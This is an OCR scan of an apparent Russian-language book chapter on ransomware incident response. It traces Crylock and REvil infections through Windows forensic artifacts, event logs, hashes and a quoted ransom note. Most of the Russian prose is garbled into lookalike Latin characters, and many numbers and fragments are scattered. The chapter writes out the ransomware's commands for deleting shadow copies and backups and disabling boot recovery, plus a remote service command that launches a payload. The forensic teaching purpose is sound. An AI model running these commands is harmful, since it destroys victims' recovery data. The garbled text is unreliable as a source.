2021-11-14
2021-11-14
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10:
10:
10:
10:
10:
10:
10:
10:
10:
10:
10:
16:
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10:

37:
37
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37:
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57
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37
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06
06
06
06
06
06
06
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06
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06
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06
06
06

.hta
.hta

.\Boot\ko-KR
.\Boot\1t-LT

1792 2021-11-14
1792 2021-11-14

10:
10:

ST
37:

@6
6

how to decrypt

how to decrypt

. Puc. 11.1. ®ainisl ¢ MHCTPYKUIMSMU O PACIIM(PPOBKE, CO3JAHHBIC TPOrPaMMOKM-BbIMOIaTEIEM

. IlonpoOyeM naeHTU(HUIHPOBATH UCIIOJIHAEMBIN (halil mporpaMMbI-BeIMOraTelisi. Mbl MOKEM HPOKPYTHUTH
BPEMEHHYIO KAy A0 IEePBOro CO3AaHHOTO (aiiia. 31eCh MBIl BUIUM OYCHb MOA03PUTEIBLHBIN (hail
TPaCCUPOBKHU.

.CR_HAND.EXE-F8AS57FD2.pf
SYSTEMPROPERTIESPROTECTI...
MoUsoCoreWorker.e@b573e5..
waasmedic.20211114 10313..
MSHTA.EXE-D17021F8.pf

6386
11500
77824

8192
19791

1792

1792

1792

1792

2021-11-14
2021-11-14
2021-11-14
2021-11-14
2021-11-14
2021-11-14
2021-11-14
2021-11-14
2021-11-14

10:
10:
10:
10:
10:
10:
10:
10:
10:

30:38
31:01
31:39
31:39
31:56
32:53
32:53
32:53
32:54

how_to_decrypt.hta
how_to_decrypt.hta
how_to_decrypt.hta

how_to_decrypt.hta

. Puc. 11.2. ®ain tpacCupOBKH, BO3MOKHO, CBSI3aHHBIM C TPOTPaAaMMOM-BBIMOTaTEIIEM

. Hageroch, BBl HOMHUTE, UTO I10JIb30BATEIM MPOTrPaMM-BbBIMOIaTeIe 4acTO yIalIs0T CBOM MHCTPYMEHTHI CO
B3JIOMaHHBIX XOCTOB. IHOr1a ATO A€Iar0T caMu IPOrpaMMBbI-BBIMOIaTEId — MHOTHUE IITaMMbI UMEIOT
(GYHKIMIO caMoyaiieHus. TeM He MeHee B HallleM PaclopsKEHUH OCTaKTCS cCaMbl€ Pa3HOOOpa3HbIe
MCTOYHHUKH 10KA3aTEIbCTB UCIOJHEHUS. DTH YIMKH MO3BOJISIIOT CAyK0aM pearupoBaHMs Ha MHIUACHTHI
UJICHTU(PUIIMPOBATh BPEAOHOCHBIEC U MOA03PUTEIbHbBIC MCHIOIHIEMBbIE (Dalijibl, HUCIIOJIb30BAaHHBIC
3JI0YMBIIIJICHHUKAMH.

. B n1aHHOM ciiydyae HaM HEIOCTYIIEH COOCTBEHHO BPEJOHOCHBIM MCIIOIHIEMbIN (pailll — 3aTO y Hac €CTh (haiil
TPACCUPOBKH, YKA3bIBAIOIIUM Ha MOAO3PUTEIbHBIN 3aITyCcK (paiiia HeMmoCPEACTBEHHO Mepe]] HadaaoM
co3nanus (aiiinos ¢ nHCTpyKImsaMu. Daitn HaswIBajics .Cr_hand.exe — He caMoe pacupoCTpaHESHHOE
Ha3BaHHUE.

. Emre oauH BOnpoc, Ha KOTOPBIM BbI JOJIKHBI IOMBITATHCA OTBETUTD, 3aKJIKOYAETCSA B CICAYIOIIEM: KaK
3JOYMBIILICHHUK 3aITyCTHJI IPOrpaMMYy-BEIMOIaTenb Ha X0CTe WM XocTax? Ecnn ucnons3yercss RDP, To B
OOJIBIIMHCTBE CIy4YaeB MOJIb30BATENIM IIPOTrPAMMbI-BBIMOIATENSI MPOCTO KOMUPYIOT BPEIOHOCHBIN (Daii Ha
[IEJIEBOM XOCT M 3aIlyCKAIOT €ro BPy4YHYI0. DTO 3HAYUT, YTO MBI MOKEM OOHAPYKUTh COOTBETCTBYIOIIINE
apredaxtel B NTUSER.DAT, nanpumep UserAssist.



2021-11-14 10:30:277
C:\Users\SigmA@\Pictures\Admin\sng\sng\.cr hand.exe (1)

2021-11-14 10:30:227
C:\Users\SigmA®\Pictures\Admin\sng\sng\.cr_auto.exe (1)

2021-11-14 10:28:507
C:\Users\SigmA®\Pictures\Admin\NS.exe (3)

2021-11-14 10:21:572
C:\Users\SigmA@\Pictures\Admin\Everything.exe (1)

Puc. 11.3. 3amucu UserAssist, n3BiieueHHbIe ¢ momoIbio RegRipper

Tenepb MbI 3HaeM, 4TO HHTEpPECYIOIMK Hac (ain ObL1 3anyiieH B 10:30:27 o I'punBuuy. Ho 31€ech ecTh n
IPYrUe€ UHTEPECHBIC 3aIUCH.

Bo-nepBrix, Ob11 3anyieH NS.eXe — oueHb NONYJISpHBINA Cpen MOJIb30BaTelIei MporpaMM-BeIMOraTelei
MHCTPYMEHT, KOTOPBIN UCITOJIB3YyeTCS UMU JiJIs B3jioma RDP. DTa Hebobpmas yruanTa mo3BojseT
3JI0YMBILIJICHHUKAM HaXOJIUTh U MOAKIIOYATh TOCTYIIHBIE CETEBBIE PECYPChI U OTKIIFOYECHHBIE JIOKAJIbHBIE
IIUCKHU.

Bo-BTopsix — EVverything.exe. 9to nmerutuMHas mporpaMma Jjis HHASKCAIINU U IMOoUcKa (paitjaoB, KOTOPYIO
ornepaTophl MPOrpaMM-BbBIMOTATENIEH OOBIYHO UCTOJIB3YIOT JJIs1 Pa3BEAKH, BBIACHSS, Kakue (paiiibl JOCTYITHbI
Ha B3JIOMAaHHOM XOCTE€ M KaKOW Yy HUX pa3mep.

MBI onpeies M BCIOMOraTelIbHOE MTPOrpaMMHOE 00ECTIEYEHHE, UCTIOIB3YEMOE 3JI0YMBIIUICHHUKAMU, a
TaKXK€ UACHTUPUIUPOBAIN YUETHYIO 3aMUCh, UCIIOJIB3YEMYIO ISl pa3BepThiBanusd, — SigmA(Q. Ho nHam
HY>KHO yOenuThes, 94To .Cr_hand.exe — 3To mporpaMmMa-BeIMOTaTeb.

JlaBaliTe U3y4uM €Imie OJIMH UCTOYHUK CIIeN0B 3amycka — ¢aiin Amcache (puc. 11.4). B yucne npounx
JAHHBIX OH coAEPXUT xemn SHA 1, KoTopble Mbl MOXKEM MCIIOJb30BaTh JI UACHTU(PUKAIIUU BPEIOHOCHBIX
(haiinos.

c:\users\sigma@\pictures\admin\sng\sng\.cr_auto.exe LastWrite: 2021-11-14 10:30:23Z
Hash: bc6d8bcf7845210b9%9a5¢525dbdafbabc78c656¢c4

c:\users\sigma®@\pictures\admin\sng\sng\.cr_hand.exe LastWrite: 2021-11-14 10:30:27Z
Hash: 31174dbfb01d51b28a9dda35e30b77233161c¢79d

Puc. 11.4. Uudopmanus o BpeIoHOCHOM (paiine, u3piaeueHHas u3 Amcache

Tenepb MbI MONYYNUIIN XEIIH, TAK YTO, JAXKE €CIIU Mbl HE CMOKEM BOCCTAHOBHUTD YIAJICHHBIEC UCTIOJIHACMbIE
(baiiiibl, y HAC OCTAaHETCA IIAHC UX UACHTU(PUIMPOBaTh. CyIIECTBYET JOBOJIBHO MHOT'O PAa3JIMYHbBIX OHJIAHH-
CEpPBUCOB, OPUCHTUPOBAHHBIX HA ABTOMATUYECKUN aHaIN3 BPeIOHOCHOTO 10, Tak 4TO MBI MOXKEM
MCITOJIb30BaTh IOJTYYSHHBIC XCIIIH IS TOMCKa IMTOA03PUTENBHBIX (aiiioB. Xopomuii BapuanT — VirusTotal,
CEpPBHUC, K KOTOPOMY MbI YK€ 00paIlaanch.



@ 52 security vendors and no sandboxes flagged this file as malicious

ebedce46e8177fd88da7c14618b8ced4083ecd1f7d3867bf7f1fbf729¢cb7¢375

2022-01-1106:10:25 UTC

BitDefenderTheta @ Gen:NN.ZelphiF.34114 PGW@a8Fapebc CAT-QuickHeal @ Ransom.Crylock
CrowdStrike Falcon @ Win/malicious_confidence_100% (W) Cybereason @ Malicious.e7699¢

Cylance @ Unsafe Cynet @ Malicious (score: 100)
Cyren (1) wa32sFilecoder.U.gen!Eldorado DrWeb (1) Trojan.Encoder.32204
Elastic @ Malicious (high Confidence) Emsisoft @ Gen:Variant.Barys.62761 (B)
eScan @ Gen:Variant.Barys.62761 ESET-NOD32 @ Win32/Filecoder.EQ

668.50 KB S
cr_hand.exe Size 3 days ago EXE
5
direct-cpu-clock-access peexe runtime-modules
% Community \/
Score
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY
Ad-Aware Gen:Variant.Barys.62761 AhnLab-V3 (1) Trojan/Win32.FileCoder.C4206605
Alibaba (1) Ransom:Win32/Crylock.7c44351a AlYac (D Gen:Variant.Barys.62761
Antiy-AVL @ Trojan/Generic.ASMalwS.30C491C Arcabit @ Trojan.Barys.DF529
Avast @ Win32:RansomX-gen [Ransom] AVG @ Win32:RansomX-gen [Ransom)]
Avira (no cloud) @ HEUR/AGEN.1140448 BitDefender @ Gen:Variant.Barys.62761

Puc. 11.5. Uadopmaniusa 00 oOHapyKEHHBIX ITOI03PUTEIBHBIX (paiiiax

CambIii nHQOPMATUBHBIN 13 BEIIBICHHBIX 00bekTOB — Ransom.Crylock. Takum oGpa3om, MBI UMEEM ACIO C
CEMENCTBOM IporpaMm-BeiMoraresent Crylock.

BaxxHoe 3aMeuaHue 00 MCMOJIb30BaHUU OHJIAMH-CEPBUCOB JIJISI HACHTU(PUKALIMA BPEAOHOCHBIX IMMPOTPAMM: BBI
MOKETEe 0€3 ONacEeHUH MCII0JIb30BaTh XEIIIM, HO HUKOT/Ia HE 3arpy KaiTe Ha TaKKWE CalThl 00pa3Iibl IporpamMm-
BbIMOTaTeser 0€3 HaJICKAILEro aHaIKM3a — OHU YacTO COJAECP kAT MH(MOPMALMIO, TO3BOJISIONTYIO
UJIeHTU(OUIUPOBATH XepTB. Hanmpumep, BO MHOrHX 00pa3iiax €CTh IIEPCOHATN3UPOBAHHBIE COOOIIECHHUS O
BBIKYIIE ((DalJIbl C MHCTPYKIMSMU JIJIS )KEPTB) C HA3BAHUSIMHU ITOCTPAJABIINX OpPraHU3allHi.

Tenepp MbI TOUHO 3HAaEM, YTO OOHAPYKEHHBIN HaMM (Dalisl — oOpasel mporpaMMbl-BeIMOraresisi. Mbl Takke
3HAE€M, YTO OH OBLI 3alyIIEH Bpy4YHYIO noiab3oBareneM SigmAQ. Ho Kak 37J0yMBIIIICHHUK CMOT MONACTh Ha
CKOMITIPOMETUPOBAHHBIN XOCT?

Eciu Mbl TOCMOTPHUM B KypHajibl cOObITHH Windows, To yBuauM 3anuchk 00 ycnemHoM RDP-nioakirouenuu,
KOTOPOE MPOU3OIILIO0 IIPSIMO Iepe] 3alyCKoM ITporpaMmmbl-BeiMorartens Crylock Ha xocre.

@ Information
(@) Information

110:27:08
10:27:08 |

14.11,2021

hemte?)ed(top Services: SEMrecormcbm succeeagd

uondudsaq

Source Network Address: 37.19.218.153

Puc. 11.6. Uadopmanus 00 ycnemnoM RDP-nioakiroueHun, mojrydeHHas u3 >xypHajioB coObITu Windows

B naHHOM ciy4ae 3TO BHEIIHUM aJpec — 3HAYMUT, CKOMIIPOMETHUPOBAHHBIN XOCT ObLI OOIIEA0CTYITHBIM.
Takyro e KapTHHY MOKHO Ha0I10J1aTh U B CIIy4ae JOKaJbHBIX XOCTOB — I0Jb30BaTEIN MPOTrPaMM-
BBIMOTATEJIEM MOTYT MEPEXOAUTH C U3HAYAIILHO CKOMIIPOMETUPOBAHHOI'O XOCTA HA APYIUE€ XOCThI CETH I10
RDP u 3anyckars BpenonocHoe 11O Ha kaxa0M U3 HUX.

JlaBaiiTe n3y4ynuM nporpammy-BeiMorareib Crylock.



. 0630p nporpammsbI-BbiMOrareJis Crylock

. Ilepen 3anmyckom nporecca mudppoBanust Crylock octanaBianBaeT psiji C1y»KO ¥ MPOILECCOB U3 BCTPOSHHOT'O
CIIMCKA.

. 3aTeM MporpaMma-BbIMOTaTellb YAAISIET TEHEBBIE U PE3EPBHBIC KOIIMH, YTOOBI NPEIOTBPATUTD
BOCCTAHOBJICHUE CUCTEMBI:

"C:\Windows\System32\cmd.exe" /c "vssadmin delete shadows /all
/quiet"

"C:\Windows\System32\cmd.exe" /c "wbadmin DELETE
SYSTEMSTATEBACKUP -keepVersions:0"
"C:\Windows\System32\cmd.exe" /c "wbadmin DELETE BACKUP
-keepVersions:0"

"C:\Windows\System32\cmd.exe" /c "wmic SHADOWCOPY DELETE"
"C:\Windows\System32\cmd.exe" /c "bcdedit /set {default}

recoveryenabled No"

"C:\Windows\System32\cmd.exe" /c "bcdedit /set {default}
bootstatuspolicy ignoreallfailures"

vssadmin delete shadows /all /quiet

wmic SHADOWCOPY DELETE

. Jlnsa mmdpoBanus GailyioB OHA MCIIOJIB3YET CIEIHATbHBIA CHMMETPHUYHBIN IU(P 1 aroput™M RSA s
mr(ppoBaHU KIIHOYA.

. 3areMm Crylock co3gaer cooOmenue ¢ TpeboBaHNEM BRIKYMa 110 HazBanueM NOW_to_decrypt.hta, xoTopoe
COJICPKUT KOHTAKTHBIC JAaHHBIC U HHCTPYKIHMH IS 5KSPTBEL.

. KoHeuHo, pa3BepThIBaHHUE MTPOrpaMM-BbIMOTaTENIEd BPYUHYIO HE O4€Hb 3 PEKTUBHO, OCOOEHHO €CIIU
3JIOYMBIIIJICHHUKY IUIAHUPYIOT 3alIM(PpOBaTh COTHU WM THICSYM XOCTOB. BOT moueMy OHM Takxke
MCIIOJIB3YIOT APYTUE METO/Ibl, HAIIPUMEP 3JIOYIIOTPEOJICHUE aJIMUHUCTPATUBHBIMU OOIIIMMHU CETEBBIMU
pecypcamu.

. U3yyeHHe 3/710ynoTpeo/1eHU S
aJMHUHUCTPATUBHBIMHU CETEBLIMU peCcypCaMH

. MBI yxe 00CyKJaa, 4TO JIMIA, CBA3aHHBIEC C MPOrpaMMaMH-BEIMOTaTEISIMHU, MOTYT 3JI0YIIOTPEOJISITh A5
TOPU3OHTAIILHOI'O MIEPEMEIIEHUS AIMUHUCTPATUBHBIMU CETEBBIMU peCypcaMu. TOT K€ METO
3JI0YMBIIIJICHHUKU MOT'YT IIPUMEHSTH IS pa3BEPThIBAHUSA POTPAMM-BbIMOIATENIEN, XOPOIIUN IIPUMEDP —
PsExec. HekoTopble MOIIEHHUKH UCIIOJIB3YIOT TOTOBBIC ITAKETHBIC (PAlJIbl, YTOOBI CKOITMPOBATh
MCHOJIHSIEMBIN (paill mporpaMMbI-BBIMOTATEIIsl Ha 1I€JIEBBIE XOCTHI, @ 3aT€M 3aIyCTUTh €0 C IIOMOIIbIO
PsEXxec.

. KoHEYHO, 3TO HE €AMHCTBEHHBIM METO/I, 3aJCUCTBYIOIINN aJIMUHUCTPATUBHBIE CETEBBIE PECYPCHI. /laBaunTe
PaAcCCMOTPUM JPYToi MPUMEP M CHOBA HAUHEM C BpEMEHHOM 1IKaasl Ha ocHoBe MFT.

1qud746az-read-me-ATTRATTIVO. txt 8364 2021-06-27 21:47:11
.\Program Files 1qud746az-read-me-ATTRATTIVO. txt 8364 2021-06-27 21:47:11
.\Program Files (x86) 1qud746az-read-me-ATTRATTIVO. txt 8364 2021-06-27 21:47:11
-\Recovery 1qud4746az-read-me-ATTRATTIVO. txt 8364 2021-06-27 21:47:11
-\Users 1qud4746az-read-me-ATTRATTIVO. txt 8364 2021-06-27 21:47:11
.\Recovery\WindowsRE 1lqu4746az-read-me-ATTRATTIVO. txt 8364 2021-06-27 21:47:11

.\Windows\Prefetch MSEDGEUPDATER.EXE-5568ABDF . pf 6027 2021-06-27 21:47:17
.\Users\administrator 1qud746az-read-me-ATTRATTIVO. txt 8364 2021-06-27 21:47:23
.\Users\Administrator.SAWS 1qud746az-read-me-ATTRATTIVO. txt 8364 2021-06-27 21:47:27
.\Users\Default 1qud746az-read-me-ATTRATTIVO. txt 8364 2021-06-27 21:47:27

. Puc. 11.7. CooO1ieHust ¢ TpeO0OBaHUAMHU BBIKYIIA, CO3JaHHbIE HA CKOMIIPOMETUPOBAHHOM XOCTE

. Ha pucynke 11.7 mokazaHo MHO>KECTBO COOOILIEHUH ¢ TPEOOBAaHUSIMHU BBIKYIIA, CO3JaHHBIX BPEIOHOCHBIM
HCHOJIHSIEMbIM (pailjioM, a TaK>Ke MOI03PUTEIbHBIN (pailil TPaCCUPOBKHU.

. Paccrmenys 31oymorpebieHus afIMUHUCTPATHBHBIMU CETEBBEIMU peCypcaMu, BbI BCeraa JOJDKHBI 00OpaIlaTh
BHMMAHKC HA TAKOH pacIpOCTPaHCHHEIN apTe(akT, KaK COOBITHE YCTAHOBKH CIYKOBI. Ero M0OXKHO HAalTH B
datie xxypHana cooertuit Windows System.evtx — ID 7045.



Information '6/’27/2021 19:47:06 PM 7045 |Ser~:ice Control Manager

Information 6/27/2021 9:46:05 PM 1500 Microsoft-Windows-GroupPolicy
Information 6/27/2021 9:41:05PM 1500 Microsoft-Windows-GroupPolicy

A service was installed in the system.

Service Name: updates
Service File Name: %COMSPEC% /C start /b powershell \\srvdc01\Users\Public\msedgeupdater.exe
Service Type: user mode service
Service Start Type: demand start
Service Account: LocalSystem

Puc. 11.8. ®ain )xypHaima coObITHH System.evtx

MBI BUAUM IOKa3aTellbCcTBa TOTO, UTO IMOAO3PUTEIBHEIN (paiim msedgeupdater.exe ObLI 3aITyIIEH C
xocTa Srvdc01, KoTophlii, CKOpee BCEro, IBIICTCS KOHTPOJUIEPOM JOMEHA, ITYTEeM CO3JIaHHUS HOBOM CITYKOBL.

Takum o0Opa3zomMm, B ipol1iecce TOPU30HTAITBHOTO TIEPEMEIICHUS OTIEPATOPHI TPOTPAMMBI-BBIMOTATEIIS

B3JIOMAJIM OJMH U3 KOHTPOJUIEPOB JIOMEHA M MCHOJIB30BAJIM €r0 JJIs pa3BEePThIBAHUS MPOTPAMMbBI-BbIMOTaTEIIsI
— TAaKO€ MPOUCXOJUT AOBOJBHO 4acTo. [IockoabKy ciry:k0a ObliIa, CKOpEe BCEro, CO3JaHa yAAJICHHO, MbI
MOKEM BHUMATEILHO U3YYUTh COOBITHS B XKypHaje coopTuii Windows Security.evix, 9ToObl BEISIBUTh
JIEMCTBUA T10 BXOJ1Y B CUCTEMY.

Audit Success ‘6/ 27/2021 }9:47:06 PM 4672 \Mucrosoft-Wnndows -Security-Auditing
Audit Success 6/27/2021 9:46:05 PM 4672 Microsoft-Windows-Security-Auditing
Audit Success 6/27/2021 9:41:05PM 4672 Microsoft-Windows-Security-Auditing
Audit Success 6/27/2021 9:40:17PM 4672 Microsoft-Windows-Security-Auditing
Audit Success 6/27/2021 9:36:05PM 4672 Microsoft-Windows-Security-Auditing
Audit Success 6/27/2021 9:31:05PM 4672 Microsoft-Windows-Security-Auditing
Audit Success 6/27/2021 9:26:35PM 4672 Microsoft-Windows-Security-Auditing
.Audt Success 6/27/2021 9:26:35PM 4672 Microsoft-Windows-Security-Auditing
Audit Success 6/27/2021 9:26:05PM 4672 |Microsoft-Windows-Security-Auditing
|Spedal privieges assigned to new logon.
Subject:
Security ID: $-1-5-21-2994656889-1479002500-2572757361-500
Account Name: Administrator
Account Domain: SERIOUSCATS
Logon ID: 009FS544A
Privileges: SeSecurityPrivilege
SeBackuoPrivi
SeRestorePrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeloadDriverPrivilege
SelmpersonatePrivilege
SeDelegateSessionUserImpersonatePrivilege

Puc. 11.9. /lericTBHs IO BXOy B CUCTEMY, CBSI3AHHBIE C PA3BEPTHIBAHUEM IIPOTPAMMBI-BBIMOTATES

MbI BUIMM, YTO 3JIOYMBIIIJICHHUKH UCITOJIb30BAJIM YUETHYIO 3aIMCh aIMUHUACTPATOPA JJIsl PA3BEPTHIBAHUS
POrpaMMBbI-BBIMOTATEIISl C KOHTPOJIJIEpa JOMEHA NOCPEICTBOM CO3/IaHUS YIAJICHHON CITY>KOBI.

OHaKO MBI JI0 CUX MOP HE UACHTU(UIIMPOBAIIM IITAMM IIPOrpaMMbI-BbIMOrareis. Mbl y’ke yMeeM
MCII0JIb30BATh JIJISL ATOrO XEIIU, HO 1aBANTE U3MEHUM TAKTUKY U COCPENOTOYUMCSA HA JPYTUX YIUKaX,
OCTaBJICHHBIX MIPOTPAMMOK-BBIMOTaTEIIEM.

Bo MHOruX cilydasx caMblil IIPOCTOM CIIOCOO ONPECINTD IITaMM — 3aIJIIHYTh B COOOIIEHUE C TPEOOBAaHUEM
BBIKYIIA.

[+] Wnats Happen? [+]

Your network has been penetrated. Your files are encrypted with strong military algorithm, and currently unavailable. You can check it: all
files on your system has extension 72vq2a57.

By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).
Also, all your info copyed to our servers, If you do not take action to

contact us, the data will be published for free access to everyone. As soon as we receive the payment, all data will be deleted from our servers.

[+] wnhat guarantees? [+]

Its just a business. We absolutely do not care about you end your deals, except getting benefits. If we do not do our work and lisbilities -
nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you
can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will
lose your time and data, cause just we have the private key. In practise - time is much more valuable than money.

[+] How to get access on website? [+]

You have two ways:

1) [Recommended] Using a TOR browser!

a) Download and install TOR browser from this site: https://torproject.org/

b) Open our website: http://aplebzud7wgazapdgksbvrcvbzonjppkbxbréwket f56nfbag2nayoyd. onion/962E246860D29C62
2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this:

a) Open your any browser (Chrome, Firefox, Opera, 1E, Edge)

b) Open our secondary website: http://decoder.re/B62E246868029CB2

Contact with us in chat on website. You have 3 days.
If you need more time to make a decision and collect money for payment - inform the support chat about this,

Puc. 11.10. Yactp coobiieHus ¢ TpedoBaHUEM BBIKYIIA, CO3JaHHOIO IIPOrpaMMOI-BEIMOraTejieM

Kak Bugute, cooOlieHue ¢ TpeOOBaHMEM BBIKYIIA COACPKUT ABa 110103puTeabHbIx URL-
anpeca: hxxp://aplebzud7wgazapdgksevrcvezenjppkbxbréwketf56nféag2nmyoyd|.]Jonion/-
062E246860D29CB2 u hxxp://decoder[.]Jre/062E246860D29CB2.

J11 naeHTu(UKAUKU IPOTrpaMMbI-BbIMOraTeis ObIBACT JOCTATOYHO ITOMCKaTh B Google.



https:/Awitter.com » resecurty_com» status

Resecurity on Twitter: "Similar to decryptor|.Jcc and ...

Similar to decryptor.Jcc and decryptor[.Jtop in previous #REVil/#Sodinokibi versions,
decoder] ]re is used to grant the victims access to the threat actors

Puc. 11.11. IIpumep pe3ynbraTtoB noucka B Google
[1o pe3ynpTaTaM morucka MOXXHO MPEIOJIOKUTh, UTO Mbl UIMEEM JIEJIO C MpOorpaMmmMon-BeiMoraresneM REvil

(Sodinokibi).
Kpome Toro, mocKoJIbKY MHOTHE MPOTPaAaMMBbI-BEIMOTATENIN PEAAKTUPYIOT PEECTP, OOpaTUM BHUMAHHUE Ha

YHHUKaJIbHBIC KIIIOYM PEECTpa U UX 3HAUCHHUS. Tak KaK Mbl 3HaeM, 4TO IU(POBAHUE IMIPOU30ILIO 27 UIOHS
2021 r., MBI MOXEM IIPOBEPUTH HATTUYHME KIIFOUYEH, KOTOPBIC ObLIN CO34aHbl MJIM U3MEHEHBI B TOT JICHb.

4" WOW6432Node 0 5 2021-06-27 21:47:11
~ BlackLivesMatter 3 0 2021-06-27 21:47:11
4~ Micosoft 0 120 2021-06-27 15:50:54
4 NETFramework 1 9 2021-03-2500:54:52
4 v2.0,50727 0 1 2018-04-1209:26:16

47" NGenService 0 3 2018-04-1209:26:16

[~ State 3 0 2021-06-27 16:16:20

4 AMSI 0 1 2018-04-1123:38:48
[~ Providers 0 0 2021-06-27 19:31.05

4 Cryptography v /| 0210627 15:90:5%
[ Calais 0 2 2021-06-27 15:50:54

Puc. 11.12. [Togo3puTenbHbIN KIIFOY peecTpa, CO3JAHHBIN MOCIE 3alyCKa IPOrpaMMbl-BBIMOTATEIIs

MBI HallLIW TTOIO3PHUTENBHBIN K04 ¢ HazBanueM BlackLivesMatter. BeImoaHuB OBICTPBII ITOUCK C
MCIOJIb30BaHUEM OOIIEIOCTYITHBIX JJaHHBIX, Mbl 0OHapyxuBaeM otdyeT BlackBerry Research & Intelligence
Team o nmporpamme-BeiMoraresie REvil, B KoTOpoM ylmoMUHAETCSt 3TOT KJIHOY.

The sample analyzed also creates registry entries under HKLM\BlackLivesMatter\ containing hex values:

File Edt View Favontes Help

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\BlackLivesMatter
v B Computer : Narme Type Data
:gzt::;‘;’*gg | a¥{Defauk) REG_SZ (value not set)
it PKEY-L M—ACHINt i e alp REG_BINARY da08c329b8 d8 of Tb ba 6d 71 Th aa &7 ff 07 1 88 b0 2 75 b5 2¢ 8a 2413 fc 53 d6 fe 00 &F
SC- = | #% imnaqwiN REG_BINARY 239824 7668566621 115b5b 14 bdc0 18 Teec 23 783 7Te 38 c5856d 08 0a 9 7 8f cOfd 7 b...
HARDWARE | 24 KxakSW REG_SZ <2rog7p
SAM | 2% W wyr REG_BINARY 26261 «78fba5Tbdfcdd2a43b9b2350d 2232029246306 d7 09 L2448 2560 dd 40 4f
SECURITY L wubK REG_BINARY SA191895 Maacebdedb i ebBI0e cf a8 2025 ec S 3a T3 141366 200 18 26 d9¢a 79
v  SOFTWARE W6 ZhF9y REG_BINARY d7b27206370427500ae7bT 28474 068¢ 30 8028 5d aTba e 7700 TE b6 63 27 00 9d 2.
7-Zp
Adobe
Autolt v3
BlackLivesMatter
Canhynn

Figure 3: Hex values.

Puc. 11.13. Beigepxka u3 orduera BlackBerry Research & Intelligence Team o nmporpamme-BeiMoratesie REvil

Tenepp y HacC 10CTaTOYHO MH(MOPMALMH, IIOATBEPKAAIOIIEH, UYTO Mbl UMEEM JIEJI0 C IPOrpaMMOii-
BeIMorarejeM REvil, — camoe BpeMs y3HaTh 0 HEl OOJIbIIIE.

. 0630p nporpammseI-BbIMOrareJisa REvil

Jl1a navaina REvil coOupaet nHpopmaiuio o cucTemMe U BbIABISIET €e ocooeHHocTH. [lepen 3amyckom
npoliecca mudpoBaHus MporpaMMa OCTaHABJIMBAET MPOIECCHI IO CIIMCKY B COOTBETCTBUU C JAHHBIMU
KOH(UTypalluM, KOTOPBIE XpaHATCsS B BUJIE 3alu@poBaHHoro pecypca. Kimrou umeer qiiuny 32 Oaiita u
pacroJiaraercs nepe 3annppoBaHHLIMU TaHHBIMHU.

[Tocne ocTaHOBKM MPOILECCOB IIpOrpaMMa-BbIMOraTellb yAalIsieT TEHEBbIC KOIIMHU, YTOOBI UX HEJIb3s ObLIO
HCII0JIb30BAaTh JJIs BOCCTAHOBJICHUS JTAHHBIX.



Name Virtual Size Virtual Address | Raw Size Raw Address | Reloc Address | Linenumbers | Relocations N... | Linenumbers ... | Characteristics

00000260 00000268 0000026C 00000270 00000274 00000278 0000027C 00000280 00000282 00000284
Byte[8] Dword Dword Dword Dword Dword Dword Word Word Dword

text 0000BC34 00001000 0000BE0D 00000400 00000000 00000000 0000 0000 60000020
adata 00002ECC 00000000 00003000 0000C200 00000000 00000000 0000 0000 40000040
data 000023C0 00010000 00001E00 0000F200 00000000 00000000 0000 0000 C0000040
«fg 0000C800 00013000 0000C800 00011000 00000000 00000000 0000 0000 C0000040
sreloc 00000738 00020000 00000800 0001D800 00000000 00000000 0000 0000 42000040

R B WP E

Offset 0.1 2.8 4 85 6:3 8 9 B CDE ¥ Ascii

00000000 | BE 54 137 |61 |68 [4C [4A |48 [4C |e3 |48 [51 |54

00000010 | B2 77 [71 [70 [7A |56 {64 es 4D |3¢€ [34 |77 |35 SR RE
00000020 | 30 20 B2 79 71 78 00 00 CC Fq 0¢ 1B F8 SE 4B €3 | 0.Iygx..M300=EEc
00000030 | S1 S1 A0 CF BO C4 SE OA 62 CD 3A D3 10 SS SB SE ‘¢ N°]B.pH:YOU[R
00000040 | 86 S8E &5 S0 27 F2 A0 CE 80 D8 02 28 FA 9D DF 37 | tT%eF'm CEED (=xA47
00000050 | F9 8B 2B A4 F€ 25 F4 AB F7 €4 22 €D 3F AC 82 3D | m¢+mutgeud™®?-,=
00000060 | 42 CS OC FB 37 BS EE DD 00 46 F9 F§ 21 Fé SB 01 | BECu7&c>=.Fm¢'u(d
00000070 | D2 R2 6F 25 F2 6E 32 4E 0D 34 DC 3A 7B A8 9D BS | I9o%Tn2N.4b: (Efp
00000080 | 63 22 68 40 8B A0 SE 11 B4 €C 30 S9 E5 D% DB DO | c"h@c ~0rl0YelkP
00000090 | 70 SF B2 E1 F1 EC 37 1D €B SE 1€ SD 7E EA 76 E3 | pylIfcn7 KkED]~xvp
000000AR0 | 7F €4 3A CA 3D 25 S3 CA 29 4A 54 OE 05 07 3¢ S5 |(0d:K=3%SK)JI000€U

Puc. 11.14. Kiro4, UCIIOSIb3yeMbIi 4151 IU(PPOBAHUS JAaHHBIX KOH(UTypalluy

®aiinel mUppyroTes ¢ noMoibio curve25519/Salsa20, kimrou — ¢ momornbio curve25519/AES-256-CTR.
REvil no6aBsier cOOCTBEHHOE paclIMpEeHUE K 3appoBaHHbIM (aitiiam, Hanpumep .1qud746az.

REvil Takke MeHseT o0ou padouero crona (cOpacbiBaeT CBOil BapuaHT B nmanky %Temp%) u co3gaer
COOOI1IEHUSI C TPEOOBAHUSIMU BBIKYIIa BO BCEX IManKax C 3allu(@poBaHHBIMU (paijiamu.

Yro0nI 3akpenuThes B cucteMme, REvil m3amenser ximrou peectpa SOFTWARE\Microsoft\-
Windows\CurrentVersion\Run.

3noynoTpe0ieHrue aAIMUHUCTPATHBHBIMU CETEBBIMHU PECYPCAMU — 3TO HE €IMHCTBEHHBIM METO/I,
MCIIOJIb3YEMBIN 3JI0YMBIIUIEHHUKAMU JJI1 Pa3BEPTHIBAHUS IPOTPAMM-BBIMOTATEJIEN B MaciTadax
npeanpuatys. Jpyrou pacnpoCTpaHEHHbBIN IYyTh — U3MEHEHUE IPYIINOBBIX MTOJIUTHK.

